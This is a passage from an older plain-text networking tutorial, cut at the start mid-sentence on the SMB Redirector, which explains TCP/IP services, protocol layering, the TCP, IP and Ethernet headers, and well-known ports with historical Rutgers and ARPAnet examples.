  709. another computer as if the remote resources were local to the client computer. The Redirector 
  710. communicates with other computers using the protocol stack.
  711.  
  712. The Redirectors primary function is to format remote requests so that they can be understood by 
  713. a remote station (such as a file server) and send them on their way through the network.
  714.  
  715. The Redirector uses the Server Message Block (SMB) structure as the standard vehicle for 
  716. sending these requests. The SMB is also the vehicle by which stations return responses to 
  717. Redirector requests.
  718.  
  719. Each SMB contains a header consisting of the command code (which specifies the task that the 
  720. redirector wants the remote station to perform) and several environment and parameter fields 
  721. (which specify how the command should be carried out).
  722.  
  723. In addition to the header, the last field in the SMB may contain up to 64K of data to be sent to the 
  724. remote station.
  725.  
  726. [2.0.0] What is TCP/IP?
  727.  
  728. TCP/IP is a set of protocols developed to allow cooperating computers to share resources across 
  729. a network. It was developed by a community of researchers centered around the ARPAnet 
  730. (Advanced Research Projects Agency). Certainly the ARPAnet is the best-known TCP/IP 
  731. network. However as of June, 87, at least 130 different vendors had products that support 
  732. TCP/IP, and thousands of networks of all kinds use it. 
  733.  
  734. First some basic definitions. The most accurate name for the set of protocols we are describing is 
  735. the "Internet protocol suite". TCP and IP are two of the protocols in this suite. (They will be 
  736. described below.) Because TCP and IP are the best known of the protocols, it has become 
  737. common to use the term TCP/IP to refer to the whole family. 
  738.  
  739. The Internet is a collection of networks, including the Arpanet, NSFnet, regional networks such as 
  740. NYsernet, local networks at a number of University and research institutions, and a number of 
  741. military networks and a growing number of private corporation owned networks. The term 
  742. "Internet" applies to this entire set of networks. The subset of them that is managed by the 
  743. Department of Defense is referred to as the "DDN" (Defense Data Network). This includes some 
  744. research-oriented networks, such as the Arpanet, as well as more strictly military ones. All of 
  745. these networks are connected to each other. Users can send messages from any of them to any 
  746. other, except where there are security or other policy restrictions on access. 
  747.  
  748. Officially speaking, the Internet protocol documents are simply standards adopted by the Internet 
  749. community for its own use. More recently, the Department of Defense issued a MILSPEC 
  750. definition of
  751. TCP/IP. This was intended to be a more formal definition, appropriate for use in purchasing 
  752. specifications. However most of the TCP/IP community continues to use the Internet standards. 
  753. The MILSPEC version is intended to be consistent with it.
  754.  
  755. Whatever it is called, TCP/IP is a family of protocols. A few provide "low-level" functions needed 
  756. for many applications. These include IP, TCP, and UDP. (These will be described in a bit more 
  757. detail later.)
  758. Others are protocols for doing specific tasks, e.g. transferring files between computers, sending 
  759. mail, or finding out who is logged in on another computer. Initially TCP/IP was used mostly 
  760. between
  761. minicomputers or mainframes. These machines had their own disks, and generally were self-
  762. contained. Thus the most important "traditional" TCP/IP services are:
  763.  
  764. [2.0.1] File Transfer
  765.     The file transfer protocol (FTP) allows a user on any computer
  766. to get files from another computer, or to send files to another
  767. computer. Security is handled by requiring the user to specify a user
  768. name and password for the other computer, or logging into a system that
  769. allows for Anonymous logins. Provisions are made for
  770. handling file transfer between machines with different character set,
  771. end of line conventions, etc. This is not quite the same thing as more
  772. recent "network file system" or "NetBIOS" protocols, which will be
  773. described below. Rather, FTP is a utility that you run any time you
  774. want to access a file on another system. You use it to copy the file
  775. to your own system. You then work with the local copy. (See RFC 959
  776. for specifications for FTP.)  
  777.  
  778. [2.0.2] Remote Login 
  779.     The network terminal protocol (TELNET) allows a user to log in
  780. on any other computer on the network. You start a remote session by
  781. specifying a computer to connect to. From that time until you finish
  782. the session, anything you type is sent to the other computer. Note
  783. that you are really still talking to your own computer. But the telnet
  784. program effectively makes your computer invisible while it is
  785. running. Every character you type is sent directly to the other
  786. system. Generally, the connection to the remote computer behaves much
  787. like a dialup connection. That is, the remote system will ask you to
  788. log in and give a password, in whatever manner it would normally ask a
  789. user who had just dialed it up. When you log off of the other
  790. computer, the telnet program exits, and you will find yourself talking
  791. to your own computer. Microcomputer implementations of telnet
  792. generally include a terminal emulator for some common type of
  793. terminal. (See RFC's 854 and 855 for specifications for telnet. By the
  794. way, the telnet protocol should not be confused with Telenet, a vendor
  795. of commercial network services.)
  796.  
  797. [2.0.3] Computer Mail
  798.     This allows you to send messages to users on other
  799. computers. Originally, people tended to use only one or two specific
  800. computers. They would maintain "mail files" on those machines. The
  801. computer mail system is simply a way for you to add a message to
  802. another user's mail file. There are some problems with this in an
  803. environment where microcomputers are used. The most serious is that a
  804. micro is not well suited to receive computer mail. When you send mail,
  805. the mail software expects to be able to open a connection to the
  806. addressee's computer, in order to send the mail. If this is a
  807. microcomputer, it may be turned off, or it may be running an
  808. application other than the mail system. For this reason, mail is
  809. normally handled by a larger system, where it is practical to have a
  810. mail server running all the time. Microcomputer mail software then
  811. becomes a user interface that retrieves mail from the mail
  812. server. (See RFC 821 and 822 for specifications for computer mail. See
  813. RFC 937 for a protocol designed for microcomputers to use in reading
  814. mail from a mail server.)
  815.  
  816. These services should be present in any implementation of TCP/IP, except that micro-oriented 
  817. implementations may not support computer mail. These traditional applications still play a very 
  818. important role in TCP/IP-based networks. However more recently, the way in which networks are 
  819. used has been changing. The older model of a number of large, self-sufficient computers is 
  820. beginning to change. Now many installations have several kinds of computers, including 
  821. microcomputers, workstations, minicomputers, and mainframes. These computers are likely to be 
  822. configured to perform specialized
  823. tasks. Although people are still likely to work with one specific computer, that computer will call on 
  824. other systems on the net for specialized services. This has led to the "server/client" model of 
  825. network services. A server is a system that provides a specific service for the rest of the network. 
  826. A client is another system that uses that service. (Note that the server and client need not be on 
  827. different computers. They could be different programs running on the same computer.)
  828.  
  829. Here are the kinds of servers typically present in a modern computer setup. Note that these 
  830. computer services can all be provided within the framework of TCP/IP.
  831.  
  832. [2.0.4] Network File Systems
  833.     This allows a system to access files on another computer in a
  834. somewhat more closely integrated fashion than FTP. A network file
  835. system provides the illusion that disks or other devices from one
  836. system are directly connected to other systems. There is no need to
  837. use a special network utility to access a file on another system. Your
  838. computer simply thinks it has some extra disk drives. These extra
  839. "virtual" drives refer to the other system's disks. This capability is
  840. useful for several different purposes. It lets you put large disks on
  841. a few computers, but still give others access to the disk space. Aside
  842. from the obvious economic benefits, this allows people working on
  843. several computers to share common files. It makes system maintenance
  844. and backup easier, because you don't have to worry about updating and
  845. backing up copies on lots of different machines. A number of vendors
  846. now offer high-performance diskless computers. These computers have no
  847. disk drives at all. They are entirely dependent upon disks attached to
  848. common "file servers". (See RFC's 1001 and 1002 for a description of
  849. PC-oriented NetBIOS over TCP. In the workstation and minicomputer
  850. area, Sun's Network File System is more likely to be used. Protocol
  851. specifications for it are available from Sun Microsystems.)
  852.  
  853. [2.0.5] Remote Printing
  854.     This allows you to access printers on other computers as if
  855. they were directly attached to yours. (The most commonly used protocol
  856. is the remote lineprinter protocol from Berkeley Unix. Unfortunately,
  857. there is no protocol document for this. However the C code is easily
  858. obtained from Berkeley, so implementations are common.)
  859.  
  860. [2.0.6] Remote Execution
  861.     This allows you to request that a particular program be run on
  862. a different computer. This is useful when you can do most of your work
  863. on a small computer, but a few tasks require the resources of a larger
  864. system. There are a number of different kinds of remote execution.
  865. Some operate on a command by command basis. That is, you request that
  866. a specific command or set of commands should run on some specific
  867. computer. (More sophisticated versions will choose a system that
  868. happens to be free.) However there are also "remote procedure call"
  869. systems that allow a program to call a subroutine that will run on
  870. another computer. (There are many protocols of this sort. Berkeley
  871. Unix contains two servers to execute commands remotely: rsh and
  872. rexec. The man pages describe the protocols that they use. The
  873. user-contributed software with Berkeley 4.3 contains a "distributed
  874. shell" that will distribute tasks among a set of systems, depending
  875. upon load. Remote procedure call mechanisms have been a topic for
  876. research for a number of years, so many organizations have
  877. implementations of such facilities. The most widespread
  878. commercially-supported remote procedure call protocols seem to be
  879. Xerox's Courier and Sun's RPC. Protocol documents are available from
  880. Xerox and Sun. There is a public implementation of Courier over TCP as
  881. part of the user-contributed software with Berkeley 4.3. An
  882. implementation of RPC was posted to Usenet by Sun, and also appears as
  883. part of the user-contributed software with Berkeley 4.3.)
  884.  
  885. [2.0.7] Name Servers
  886.     In large installations, there are a number of different
  887. collections of names that have to be managed. This includes users and
  888. their passwords, names and network addresses for computers, and
  889. accounts. It becomes very tedious to keep this data up to date on all
  890. of the computers. Thus the databases are kept on a small number of
  891. systems. Other systems access the data over the network. (RFC 822 and
  892. 823 describe the name server protocol used to keep track of host names
  893. and Internet addresses on the Internet. This is now a required part of
  894. any TCP/IP implementation. IEN 116 describes an older name server
  895. protocol that is used by a few terminal servers and other products to
  896. look up host names. Sun's Yellow Pages system is designed as a general
  897. mechanism to handle user names, file sharing groups, and other
  898. databases commonly used by Unix systems. It is widely available
  899. commercially. Its protocol definition is available from Sun.)
  900.  
  901. [2.0.8] Terminal Servers
  902.     Many installations no longer connect terminals directly to
  903. computers. Instead they connect them to terminal servers. A terminal
  904. server is simply a small computer that only knows how to run telnet
  905. (or some other protocol to do remote login). If your terminal is
  906. connected to one of these, you simply type the name of a computer, and
  907. you are connected to it. Generally it is possible to have active
  908. connections to more than one computer at the same time. The terminal
  909. server will have provisions to switch between connections rapidly, and
  910. to notify you when output is waiting for another connection. (Terminal
  911. servers use the telnet protocol, already mentioned. However any real
  912. terminal server will also have to support name service and a number of
  913. other protocols.)
  914.  
  915. [2.0.9] Network-Oriented Window Systems
  916.     Until recently, high- performance graphics programs had to
  917. execute on a computer that had a bit-mapped graphics screen directly
  918. attached to it. Network window systems allow a program to use a
  919. display on a different computer. Full-scale network window systems
  920. provide an interface that lets you distribute jobs to the systems that
  921. are best suited to handle them, but still give you a single
  922. graphically-based user interface. (The most widely-implemented window
  923. system is X. A protocol description is available from MIT's Project
  924. Athena. A reference implementation is publicly available from MIT. A
  925. number of vendors are also supporting NeWS, a window system defined by
  926. Sun. Both of these systems are designed to use TCP/IP.)
  927.  
  928. Note that some of the protocols described above were designed by Berkeley, Sun, or other 
  929. organizations. Thus they are not officially part of the Internet protocol suite. However they are 
  930. implemented
  931. using TCP/IP, just as normal TCP/IP application protocols are. Since the protocol definitions are 
  932. not considered proprietary, and since commercially-support implementations are widely available, 
  933. it is
  934. reasonable to think of these protocols as being effectively part of the Internet suite.
  935.  
  936. Also note that the list above is simply a sample of the sort of services available through TCP/IP. 
  937. However it does contain the majority of the "major" applications. The other commonly-used 
  938. protocols tend to be
  939. specialized facilities for getting information of various kinds, such as who is logged in, the time of 
  940. day, etc. However if you need a facility that is not listed here, we encourage you to look through 
  941. the current edition of Internet Protocols (currently RFC 1011), which lists all of the available 
  942. protocols, and also to look at some of the major TCP/IP implementations to see what various 
  943. vendors have added.
  944.  
  945. [2.1.0] General description of the TCP/IP protocols
  946.  
  947. TCP/IP is a layered set of protocols. In order to understand what this means, it is useful to look at 
  948. an example. A typical situation is sending mail. First, there is a protocol for mail. This defines a 
  949. set of commands which one machine sends to another, e.g. commands to specify who the sender 
  950. of the message is, who it is being sent to, and then the text of the message. However this 
  951. protocol assumes that there is a way to communicate reliably between the two computers. Mail, 
  952. like other application protocols, simply defines a set of commands and messages to be sent. It is 
  953. designed to be used together with TCP and IP.
  954.  
  955. TCP is responsible for making sure that the commands get through to the other end. It keeps 
  956. track of what is sent, and retransmits anything that did not get through. If any message is too 
  957. large for one
  958. datagram, e.g. the text of the mail, TCP will split it up into several datagrams, and make sure that 
  959. they all arrive correctly. Since these functions are needed for many applications, they are put 
  960. together into
  961. a separate protocol, rather than being part of the specifications for sending mail. You can think of 
  962. TCP as forming a library of routines that applications can use when they need reliable network
  963. communications with another computer.
  964.  
  965. Similarly, TCP calls on the services of IP. Although the services that TCP supplies are needed by 
  966. many applications, there are still some kinds of applications that don't need them. However there 
  967. are some
  968. services that every application needs. So these services are put together into IP. As with TCP, 
  969. you can think of IP as a library of routines that TCP calls on, but which is also available to 
  970. applications that don't use TCP. This strategy of building several levels of protocol is called 
  971. "layering". We think of the applications programs such as mail, TCP, and IP, as being separate 
  972. "layers", each of which calls on the services of the layer below it. Generally, TCP/IP applications 
  973. use 4 layers: an application protocol such as mail, a protocol such as TCP that provides services 
  974. need by many applications IP, which provides the basic service of getting datagrams to their 
  975. destination the  protocols needed to manage a specific physical medium, such as Ethernet or a 
  976. point to point line.
  977.  
  978. TCP/IP is based on the "catenet model". (This is described in more detail in IEN 48.) This model 
  979. assumes that there are a large number of independent networks connected together by 
  980. gateways. The user should be able to access computers or other resources on any of these 
  981. networks. Datagrams will often pass through a dozen different networks before getting to their 
  982. final destination.
  983.  
  984. The routing needed to accomplish this should be completely invisible to the user. As far as the 
  985. user is concerned, all he needs to know in order to access another system is an "Internet 
  986. address". This is an
  987. address that looks like 128.6.4.194. It is actually a 32-bit number. However it is normally written 
  988. as 4 decimal numbers, each representing 8 bits of the address. (The term "octet" is used by 
  989. Internet documentation for such 8-bit chunks. The term "byte" is not used, because TCP/IP is 
  990. supported by some computers that have byte sizes other than 8 bits.) Generally the structure of 
  991. the address gives
  992. you some information about how to get to the system. For example, 128.6 is a network number 
  993. assigned by a central authority to Rutgers University. Rutgers uses the next octet to indicate 
  994. which of the
  995. campus Ethernets is involved. 128.6.4 happens to be an Ethernet used by the Computer Science 
  996. Department. The last octet allows for up to 254 systems on each Ethernet. (It is 254 because 0 
  997. and 255 are not allowed, for reasons that will be discussed later.) Note that 128.6.4.194 and 
  998. 128.6.5.194 would be different systems. The structure of an Internet address is described in a bit 
  999. more detail later.
  1000.  
  1001. Of course we normally refer to systems by name, rather than by Internet address. When we 
  1002. specify a name, the network software looks it up in a database, and comes up with the 
  1003. corresponding Internet
  1004. address. 
  1005.  
  1006. Most of the network software deals strictly in terms of the address. (RFC 882 describes the name 
  1007. server technology used to handle this lookup.)  TCP/IP is built on "connectionless" technology. 
  1008. Information is transferred as a sequence of "datagrams". A datagram is a collection of data that is 
  1009. sent as a single
  1010. message. Each of these datagrams is sent through the network individually. There are provisions 
  1011. to open connections (i.e. to start a conversation that will continue for some time). However at 
  1012. some level, information from those connections is broken up into datagrams, and those 
  1013. datagrams are treated by the network as completely separate.
  1014.  
  1015. For example, suppose you want to transfer a 15000 octet file. Most networks can't handle a 
  1016. 15000 octet datagram. So the protocols will break this up into something like 30 500-octet 
  1017. datagrams. Each of these datagrams will be sent to the other end. At that point, they will be put 
  1018. back together into the 15000-octet
  1019. file. However while those datagrams are in transit, the network doesn't know that there is any 
  1020. connection between them. It is perfectly possible that datagram 14 will actually arrive before 
  1021. datagram 13. It is also possible that somewhere in the network, an error will occur, and some 
  1022. datagram won't get through at all. In that case, that datagram has to be sent again.
  1023.  
  1024. Note by the way that the terms "datagram" and "packet" often seem to be nearly interchangable. 
  1025. Technically, datagram is the right word to use when describing TCP/IP. A datagram is a unit of 
  1026. data, which is what the protocols deal with. A packet is a physical thing, appearing on an Ethernet 
  1027. or some wire. In most cases a packet simply contains a datagram, so there is very little 
  1028. difference. However they can differ. When TCP/IP is used on top of X.25, the X.25 interface 
  1029. breaks the datagrams up into 128-byte packets. This is invisible to IP, because the packets are 
  1030. put back together into a single datagram at
  1031. the other end before being processed by TCP/IP. So in this case, one IP datagram would be 
  1032. carried by several packets. However with most media, there are efficiency advantages to sending 
  1033. one datagram per
  1034. packet, and so the distinction tends to vanish.
  1035.  
  1036. [2.1.1] The TCP Level
  1037.  
  1038. Two separate protocols are involved in handling TCP/IP datagrams. TCP (the "transmission 
  1039. control protocol") is responsible for breaking up the message into datagrams, reassembling them 
  1040. at the other end, resending anything that gets lost, and putting things back in the right order. IP 
  1041. (the "internet protocol") is responsible for routing individual datagrams. It may seem like TCP is 
  1042. doing all the work. And
  1043. in small networks that is true. However in the Internet, simply getting a datagram to its destination 
  1044. can be a complex job. A connection may require the datagram to go through several networks at 
  1045. Rutgers, a serial line to the John von Neuman Supercomputer Center, a couple of Ethernets 
  1046. there, a series of 56Kbaud phone lines to another NSFnet site, and more Ethernets on another 
  1047. campus. Keeping track of
  1048. the routes to all of the destinations and handling incompatibilities among different transport media 
  1049. turns out to be a complex job.
  1050.  
  1051. Note that the interface between TCP and IP is fairly simple. TCP simply hands IP a datagram with 
  1052. a destination. IP doesn't know how this datagram relates to any datagram before it or after it.  It 
  1053. may
  1054. have occurred to you that something is missing here. We have talked about Internet addresses, 
  1055. but not about how you keep track of multiple connections to a given system. Clearly it isn't 
  1056. enough to get a
  1057. datagram to the right destination. TCP has to know which connection this datagram is part of.
  1058.  
  1059. This task is referred to as "demultiplexing." In fact, there are several levels of demultiplexing 
  1060. going on in TCP/IP. The information needed to do this demultiplexing is contained in a series of 
  1061. "headers". A header is simply a few extra octets tacked onto the beginning of a datagram by 
  1062. some protocol in order to keep track of it. It's a lot like putting a letter into an envelope and putting 
  1063. an address on the outside of the envelope. Except with modern networks it happens several 
  1064. times. It's like you put the letter into a little
  1065. envelope, your secretary puts that into a somewhat bigger envelope, the campus mail center puts 
  1066. that envelope into a still bigger one, etc.
  1067.  
  1068. Here is an overview of the headers that get stuck on a message that passes through a typical 
  1069. TCP/IP network: 
  1070.  
  1071. We start with a single data stream, say a file you are trying to send to some other computer:
  1072.  
  1073. TCP breaks it up into manageable chunks. (In order to do this, TCP has to know how large a 
  1074. datagram your network can handle. Actually, the TCP's at each end say how big a datagram they 
  1075. can handle, and then they pick the smallest size.)  
  1076.  
  1077. TCP puts a header at the front of each datagram. This header actually contains at least 20 octets, 
  1078. but the most important ones are a source and destination "port number" and a "sequence 
  1079. number". The port
  1080. numbers are used to keep track of different conversations. Suppose 3 different people are 
  1081. transferring files. Your TCP might allocate port numbers 1000, 1001, and 1002 to these transfers. 
  1082. When you are sending a datagram, this becomes the "source" port number, since you are the 
  1083. source of the datagram. Of course the TCP at the other end has assigned a port number of its 
  1084. own for the conversation. Your TCP has to know the port number used by the other end as well. 
  1085. (It finds out when the connection starts, as we will explain below.) It puts this in the "destination" 
  1086. port field. Of course if the other end sends a
  1087. datagram back to you, the source and destination port numbers will be reversed, since then it will 
  1088. be the source and you will be the destination.
  1089.  
  1090. Each datagram has a sequence number. This is used so that the other end can make sure that it 
  1091. gets the datagrams in the right order, and that it hasn't missed any. (See the TCP specification for
  1092. details.) TCP doesn't number the datagrams, but the octets. So if there are 500 octets of data in 
  1093. each datagram, the first datagram might be numbered 0, the second 500, the next 1000, the next 
  1094. 1500,
  1095. etc.
  1096.  
  1097. Finally, I will mention the Checksum. This is a number that is computed by adding up all the 
  1098. octets in the datagram (more or less - see the TCP spec). The result is put in the header. TCP at 
  1099. the other end computes the checksum again. If they disagree, then something bad happened to 
  1100. the datagram in transmission, and it is thrown away. 
  1101.  
  1102. The window is used to control how much data can be in transit at any one time. It is not practical 
  1103. to wait for each datagram to be acknowledged before sending the next one. That would slow 
  1104. things down
  1105. too much. On the other hand, you can't just keep sending, or a fast computer might overrun the 
  1106. capacity of a slow one to absorb data. Thus each end indicates how much new data it is currently 
  1107. prepared to
  1108. absorb by putting the number of octets in its "Window" field. As the computer receives data, the 
  1109. amount of space left in its window decreases. When it goes to zero, the sender has to stop. As 
  1110. the receiver processes the data, it increases its window, indicating that it is ready to accept more 
  1111. data. Often the same datagram can be used to acknowledge receipt of a set of data and to give 
  1112. permission for
  1113. additional new data (by an updated window).
  1114.  
  1115. The "Urgent" field allows one end to tell the other to skip ahead in its processing to a particular 
  1116. octet. This is often useful for handling asynchronous events, for example when you type a control 
  1117. character or other command that interrupts output. The other fields are beyond the scope of this 
  1118. document.
  1119.  
  1120. [2.1.2] The IP level
  1121.  
  1122. TCP sends each of these datagrams to IP. Of course it has to tell IP the Internet address of the 
  1123. computer at the other end. Note that this is all IP is concerned about. It doesn't care about what is 
  1124. in the
  1125. datagram, or even in the TCP header. IP's job is simply to find a route for the datagram and get it 
  1126. to the other end. In order to allow gateways or other intermediate systems to forward the 
  1127. datagram, it
  1128. adds its own header.
  1129.  
  1130. The main things in this header are the source and destination Internet address (32-bit addresses, 
  1131. like 128.6.4.194), the protocol number, and another checksum. The source Internet address is 
  1132. simply the address of your machine. (This is necessary so the other end knows where the 
  1133. datagram came from.) The destination Internet address is the address of the other machine. (This 
  1134. is necessary so any gateways in the middle know where you want the datagram to go.) The 
  1135. protocol number tells IP at the other end to send the datagram to TCP. Although most IP traffic 
  1136. uses TCP, there are other protocols that can use IP, so you have to tell IP which protocol to send 
  1137. the datagram to.
  1138.  
  1139. Finally, the checksum allows IP at the other end to verify that the header wasn't damaged in 
  1140. transit. Note that TCP and IP have separate checksums. IP needs to be able to verify that the 
  1141. header didn't get
  1142. damaged in transit, or it could send a message to the wrong place. For reasons not worth 
  1143. discussing here, it is both more efficient and safer to have TCP compute a separate checksum for 
  1144. the TCP header and data. 
  1145.  
  1146. Again, the header contains some additional fields that have not been discussed. Most of them are 
  1147. beyond the scope of this document. The flags and fragment offset are used to keep track of the 
  1148. pieces when a
  1149. datagram has to be split up. This can happen when datagrams are forwarded through a network 
  1150. for which they are too big. (This will be discussed a bit more below.) The time to live is a number 
  1151. that is
  1152. decremented whenever the datagram passes through a system. When it goes to zero, the 
  1153. datagram is discarded. This is done in case a loop develops in the system somehow. Of course 
  1154. this should be impossible, but well-designed networks are built to cope with "impossible" 
  1155. conditions.
  1156.  
  1157. At this point, it's possible that no more headers are needed. If your computer happens to have a 
  1158. direct phone line connecting it to the destination computer, or to a gateway, it may simply send 
  1159. the
  1160. datagrams out on the line (though likely a synchronous protocol such as HDLC would be used, 
  1161. and it would add at least a few octets at the beginning and end).
  1162.  
  1163. [2.1.3] The Ethernet level
  1164.  
  1165. Most of our networks these days use Ethernet. So now we have to describe Ethernet's headers. 
  1166. Unfortunately, Ethernet has its own addresses. The people who designed Ethernet wanted to 
  1167. make sure that no two machines would end up with the same Ethernet address. Furthermore, 
  1168. they didn't want the user to have to worry about assigning addresses. So each Ethernet controller 
  1169. comes with an address
  1170. builtin from the factory. In order to make sure that they would never have to reuse addresses, the 
  1171. Ethernet designers allocated 48 bits for the Ethernet address. People who make Ethernet 
  1172. equipment have to
  1173. register with a central authority, to make sure that the numbers they assign don't overlap any 
  1174. other manufacturer.
  1175.  
  1176. Ethernet is a "broadcast medium". That is, it is in effect like an old party line telephone. When you 
  1177. send a packet out on the Ethernet, every machine on the network sees the packet. So something 
  1178. is needed
  1179. to make sure that the right machine gets it. As you might guess, this involves the Ethernet 
  1180. header. Every Ethernet packet has a 14-octet header that includes the source and destination 
  1181. Ethernet address, and
  1182. a type code. Each machine is supposed to pay attention only to packets with its own Ethernet 
  1183. address in the destination field. (It's perfectly possible to cheat, which is one reason that Ethernet 
  1184. communications are not terribly secure.)
  1185.  
  1186. Note that there is no connection between the Ethernet address and the Internet address. Each 
  1187. machine has to have a table of what Ethernet address corresponds to what Internet address. (We 
  1188. will describe how
  1189. this table is constructed a bit later.)  In addition to the addresses, the header contains a type 
  1190. code. The type code is to allow for several different protocol families to be used on the same 
  1191. network. So you can
  1192. use TCP/IP, DECnet, Xerox NS, etc. at the same time. Each of them will put a different value in 
  1193. the type field. Finally, there is a checksum. The Ethernet controller computes a checksum of the 
  1194. entire
  1195. packet. When the other end receives the packet, it recomputes the checksum, and throws the 
  1196. packet away if the answer disagrees with the original. The checksum is put on the end of the 
  1197. packet, not in the
  1198. header. 
  1199.  
  1200. When these packets are received by the other end, of course all the headers are removed. The 
  1201. Ethernet interface removes the Ethernet header and the checksum. It looks at the type code. 
  1202. Since the type
  1203. code is the one assigned to IP, the Ethernet device driver passes the datagram up to IP. IP 
  1204. removes the IP header. It looks at the IP protocol field. Since the protocol type is TCP, it passes 
  1205. the datagram
  1206. up to TCP. TCP now looks at the sequence number. It uses the sequence numbers and other 
  1207. information to combine all the datagrams into the original file.  The ends our initial summary of 
  1208. TCP/IP. There are
  1209. still some crucial concepts we haven't gotten to, so we'll now go back and add details in several 
  1210. areas. (For detailed descriptions of the items discussed here see, RFC 793 for TCP, RFC 791 for 
  1211. IP, and RFC's
  1212. 894 and 826 for sending IP over Ethernet.)
  1213.  
  1214. [2.1.4] Well-Known Sockets And The Applications Layer
  1215.  
  1216. So far, we have described how a stream of data is broken up into datagrams, sent to another 
  1217. computer, and put back together. However something more is needed in order to accomplish 
  1218. anything useful. There
  1219. has to be a way for you to open a connection to a specified computer, log into it, tell it what file 
  1220. you want, and control the transmission of the file. (If you have a different application in mind, e.g. 
  1221. computer mail, some analogous protocol is needed.) This is done by "application protocols".
  1222.  
  1223. The application protocols run "on top" of TCP/IP. That is, when they want to send a message, 
  1224. they give the message to TCP. TCP makes sure it gets delivered to the other end. Because TCP 
  1225. and IP take care of all the networking details, the applications protocols can treat a network 
  1226. connection as if it were a simple byte stream, like a terminal or phone line.  Before going into 
  1227. more details about applications
  1228. programs, we have to describe how you find an application.
  1229.  
  1230. Suppose you want to send a file to a computer whose Internet address is 128.6.4.7. To start the 
  1231. process, you need more than just the Internet address. You have to connect to the FTP server at 
  1232. the other
  1233. end. In general, network programs are specialized for a specific set of tasks. Most systems have 
  1234. separate programs to handle file transfers, remote terminal logins, mail, etc. When you connect to
  1235. 128.6.4.7, you have to specify that you want to talk to the FTP server. This is done by having 
  1236. "well-known sockets" for each server. Recall that TCP uses port numbers to keep track of 
  1237. individual conversations. User programs normally use more or less random port numbers. 
  1238. However specific port numbers are assigned to the programs that sit waiting for requests.
  1239.  
  1240. For example, if you want to send a file, you will start a program called "ftp". It will open a 
  1241. connection using some random number, say 1234, for the port number on its end. However it will 
  1242. specify port
  1243. number 21 for the other end. This is the official port number for the FTP server. Note that there 
  1244. are two different programs involved. You run ftp on your side. This is a program designed to 
  1245. accept commands
  1246. from your terminal and pass them on to the other end. The program that you talk to on the other 
  1247. machine is the FTP server. It is designed to accept commands from the network connection, 
  1248. rather than an
  1249. interactive terminal. There is no need for your program to use a well-known socket number for 
  1250. itself. Nobody is trying to find it. However the servers have to have well-known numbers, so that 
  1251. people can open connections to them and start sending them commands. The official port 
  1252. numbers for each program are given in "Assigned Numbers".
  1253.  
  1254. Note that a connection is actually described by a set of 4 numbers: the Internet address at each 
  1255. end, and the TCP port number at each end. Every datagram has all four of those numbers in it. 
  1256. (The Internet
  1257. addresses are in the IP header, and the TCP port numbers are in the TCP header.) In order to 
  1258. keep things straight, no two connections can have the same set of numbers. However it is 
  1259. enough for any one number
  1260. to be different. For example, it is perfectly possible for two different users on a machine to be 
  1261. sending files to the same other machine. This could result in connections with the following 
  1262. parameters:
  1263.  
  1264.                Internet addresses       TCP ports
  1265. connection 1    128.6.4.194, 128.6.4.7        1234, 21
  1266. connection 2    128.6.4.194, 128.6.4.7        1235, 21
  1267.  
  1268. Since the same machines are involved, the Internet addresses are the same. Since they are both 
  1269. doing file transfers, one end of the connection involves the well-known port number for FTP. The 
  1270. only thing
  1271. that differs is the port number for the program that the users are running. That's enough of a 
  1272. difference. Generally, at least one end of the connection asks the network software to assign it a 
  1273. port number
  1274. that is guaranteed to be unique. Normally, it's the user's end, since the server has to use a well-
  1275. known number.
  1276.  
  1277. Now that we know how to open connections, let's get back to the applications programs. As 
  1278. mentioned earlier, once TCP has opened a connection, we have something that might as well be 
  1279. a simple wire. All
  1280. the hard parts are handled by TCP and IP. However we still need some agreement as to what we 
  1281. send over this connection. In effect this is simply an agreement on what set of commands the 
  1282. application will
  1283. understand, and the format in which they are to be sent. Generally, what is sent is a combination 
  1284. of commands and data. They use context to differentiate.
  1285.  
  1286. For example, the mail protocol works like this: Your mail program opens a connection to the mail 
  1287. server at the other end. Your program gives it your machine's name, the sender of the message, 
  1288. and the
  1289. recipients you want it sent to. It then sends a command saying that it is starting the message. At 
  1290. that point, the other end stops treating what it sees as commands, and starts accepting the 
  1291. message. Your end then starts sending the text of the message. At the end of the message, a 
  1292. special mark is sent (a dot in the first column). After that, both ends understand that your program 
  1293. is again sending commands. This is the simplest way to do things, and the one that most 
  1294. applications use.
  1295.  
  1296. File transfer is somewhat more complex. The file transfer protocol involves two different 
  1297. connections. It starts out just like mail. The user's program sends commands like "log me in as 
  1298. this user", "here is
  1299. my password", "send me the file with this name". However once the command to send data is 
  1300. sent, a second connection is opened for the data itself. It would certainly be possible to send the 
  1301. data on the
  1302. same connection, as mail does. However file transfers often take a long time. The designers of 
  1303. the file transfer protocol wanted to allow the user to continue issuing commands while the transfer 
  1304. is going
  1305. on. For example, the user might make an inquiry, or he might abort the transfer. Thus the 
  1306. designers felt it was best to use a separate connection for the data and leave the original 
  1307. command connection for
  1308. commands. (It is also possible to open command connections to two different computers, and tell 
  1309. them to send a file from one to the other. In that case, the data couldn't go over the command
  1310. connection.)
  1311.  
  1312. Remote terminal connections use another mechanism still. For remote logins, there is just one 
  1313. connection. It normally sends data. When it is necessary to send a command (e.g. to set the 
  1314. terminal type or to change some mode), a special character is used to indicate that the next 
  1315. character is a command. If the user happens to type that special character as data, two of them 
  1316. are sent.
  1317.  
  1318. We are not going to describe the application protocols in detail in this document. It's better to read 
  1319. the RFC's yourself. However there are a couple of common conventions used by applications that 
  1320. will be
  1321. described here. First, the common network representation: TCP/IP is intended to be usable on 
  1322. any computer. Unfortunately, not all computers agree on how data is represented. There are 
  1323. differences in
  1324. character codes (ASCII vs. EBCDIC), in end of line conventions (carriage return, line feed, or a 
  1325. representation using counts), and in whether terminals expect characters to be sent individually 
  1326. or a line
  1327. at a time. In order to allow computers of different kinds to communicate, each applications 
  1328. protocol defines a standard representation.
  1329.  
  1330. Note that TCP and IP do not care about the representation. TCP simply sends octets. However 
  1331. the programs at both ends have to agree on how the octets are to be interpreted. The RFC for 
  1332. each application specifies the standard representation for that application. Normally it is "net 
  1333. ASCII". This uses ASCII characters, with end of line denoted by a carriage return followed by a 
  1334. line feed. For remote
  1335. login, there is also a definition of a "standard terminal", which turns out to be a half-duplex 
  1336. terminal with echoing happening on the local machine. Most applications also make provisions for 
  1337. the two
  1338. computers to agree on other representations that they may find more convenient. For example, 
  1339. PDP-10's have 36-bit words. There is a way that two PDP-10's can agree to send a 36-bit binary 
  1340. file. Similarly,
  1341. two systems that prefer full-duplex terminal conversations can agree on that. However each 
  1342. application has a standard representation, which every machine must support.
  1343.  
